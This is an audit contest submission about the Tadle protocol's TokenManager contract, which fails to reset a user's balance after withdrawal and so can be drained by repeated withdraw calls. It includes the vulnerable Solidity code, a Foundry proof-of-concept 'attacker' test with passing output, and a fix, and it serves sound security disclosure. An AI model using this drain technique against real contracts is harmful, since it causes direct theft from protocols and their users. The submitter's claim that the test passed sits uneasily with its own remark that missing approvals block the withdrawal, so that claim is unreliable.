Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Missing user balance update after withdrawal in `TokenManager` contract letting user withdraw more than they deposit, draining fund from the protocol

4lifemen

Summary

The TokenManager contract allows users to withdraw more tokens than they have deposited or are entitled to. This is due to the contract failing to update the user's balance after a withdrawal.

Vulnerability Details

The withdraw function in the TokenManager contract does not update the user's balance after a successful withdrawal. This allows a user to call the withdraw function multiple times, each time withdrawing their full balance, even though they should only be able to withdraw once.

In TokenManager::withdraw function:

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
if (claimAbleAmount == 0) {
return;
}
​
// ... (withdrawal logic)
​
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}

TokenManager::_transfer function

function _transfer(
address _token,
address _from,
address _to,
uint256 _amount,
address _capitalPoolAddr
) internal {
uint256 fromBalanceBef = IERC20(_token).balanceOf(_from);
uint256 toBalanceBef = IERC20(_token).balanceOf(_to);
​
if (
_from == _capitalPoolAddr &&
IERC20(_token).allowance(_from, address(this)) == 0x0
) {
ICapitalPool(_capitalPoolAddr).approve(address(this));
}
​
_safe_transfer_from(_token, _from, _to, _amount);
​
uint256 fromBalanceAft = IERC20(_token).balanceOf(_from);
uint256 toBalanceAft = IERC20(_token).balanceOf(_to);
​
if (fromBalanceAft != fromBalanceBef - _amount) {
revert TransferFailed();
}
​
if (toBalanceAft != toBalanceBef + _amount) {
revert TransferFailed();
}
}

Proof of code

Add the follow code in PreMarkets.t.sol.

Note: Please note that this test case depends on the withdraw function being implemented correctly. The current implementation has an additional flaw where the approval step is missing, preventing the withdrawal process from completing successfully.

function test_userCanWithdrawMultipleTimes() public {
address attacker = makeAddr("attacker");
​
uint256 initialAttackerBalance = 1 ether;
vm.deal(attacker, initialAttackerBalance);
/// 1st user create offer with 1 ether
vm.prank(attacker);
preMarktes.createOffer{value: 1 * 1e18}(
CreateOfferParams(
marketPlace,
address(weth9),
1000,
1 * 1e18,
12000,
300,
OfferType.Bid,
OfferSettleType.Turbo
)
);
​
/// 2nd user create offer with 1 ether
vm.prank(user1);
preMarktes.createOffer{value: 1 * 1e18}(
CreateOfferParams(
marketPlace,
address(weth9),
1000,
1 * 1e18,
12000,
300,
OfferType.Bid,
OfferSettleType.Turbo
)
);
​
// Initial balance check
uint256 initialPoolBalance = weth9.balanceOf(address(capitalPool));
assertEq(initialPoolBalance, 2 ether, "Capital pool should have 2 ETH");
​
// First offer stock and offer addresses
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
​
/// user close offer
vm.startPrank(attacker);
preMarktes.closeOffer(stockAddr, offerAddr);
​
/// User withdraw the fund twice
tokenManager.withdraw(address(weth9), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(weth9), TokenBalanceType.MakerRefund);
​
uint256 balanceAfterWtithdraw = weth9.balanceOf(address(capitalPool));
​
vm.stopPrank();
​
assertEq(balanceAfterWtithdraw, 0, "Capital pool should have 0 ETH");
assert(attacker.balance > initialAttackerBalance);
}

Test passed indicating

  1. Attacker can withdraw twice

  2. No more funds left in the CapitalPool

  3. Attacker gains more funds than deposited

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.32ms (853.54µs CPU time)

Impact

This vulnerability allows users to withdraw more tokens than they have deposited or earned, potentially leading to the complete depletion of the contract's funds. It undermines the entire system's financial integrity, causing direct financial losses for both the protocol and other users

Tools Used

  • Manual review

  • Foundry

Recommendations

Update the user token balance state after the withdrawal

function withdraw(address _tokenAddress, TokenBalanceType _tokenBalanceType) external whenNotPaused {
// ... (existing code)
// Update user balance
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
// ... (rest of the function)
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!